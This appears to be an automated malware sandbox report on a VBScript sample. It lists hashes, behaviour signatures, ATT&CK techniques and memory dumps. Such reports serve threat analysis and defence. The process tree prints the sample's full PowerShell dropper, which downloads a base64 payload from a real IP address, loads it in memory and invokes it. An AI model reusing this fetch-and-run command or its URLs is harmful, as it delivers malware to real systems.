437b8aeed7846a1bcc5a9ad86d3cf15e7c07945060b69b5d9e34f1d80707c134

Analysis

max time kernel
48s
max time network
52s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
26/09/2022, 10:39

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General

Target

P084909424.vbs
Size

616KB
MD5

d49d1ec1abbfd72f724cff7b47ad9d14
SHA1

255b5be08a6c41fdd0cc36a3aa0d1e053cfda137
SHA256

437b8aeed7846a1bcc5a9ad86d3cf15e7c07945060b69b5d9e34f1d80707c134
SHA512

fad9d15bdc9b826b842bf3ec365295a684ff6c32eb58749b748fc5ab408597335dfe5b3cb8f9244b152039a8412c48d489c3c6cfe97592941dd26ca16c7b7f7a
SSDEEP

192:hmKZ++C+Hm+5+E+/+S+u+a+2+J+Ca+I+Y+I+L+V+v+74+B+r+Y+c+Zc+w+3e+qKp:gcgeS

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/bug/dll_nostartup

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	812	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
812	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	812	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1288 wrote to memory of 812	1288	WScript.exe	27
PID 1288 wrote to memory of 812	1288	WScript.exe	27
PID 1288 wrote to memory of 812	1288	WScript.exe	27

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\P084909424.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/bug/dll_nostartup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.ad/swen/76.881.222.401//:ptth'))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:812

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/812-57-0x000007FEF4250000-0x000007FEF4C73000-memory.dmp

Filesize
10.1MB

Download
memory/812-59-0x0000000002864000-0x0000000002867000-memory.dmp

Filesize
12KB

Download
memory/812-58-0x000007FEF36F0000-0x000007FEF424D000-memory.dmp

Filesize
11.4MB

Download
memory/812-60-0x000000001B780000-0x000000001BA7F000-memory.dmp

Filesize
3.0MB

Download
memory/812-61-0x000000000286B000-0x000000000288A000-memory.dmp

Filesize
124KB

Download
memory/812-62-0x0000000002864000-0x0000000002867000-memory.dmp

Filesize
12KB

Download
memory/812-63-0x000000000286B000-0x000000000288A000-memory.dmp

Filesize
124KB

Download
memory/1288-54-0x000007FEFBC31000-0x000007FEFBC33000-memory.dmp

Filesize
8KB

Download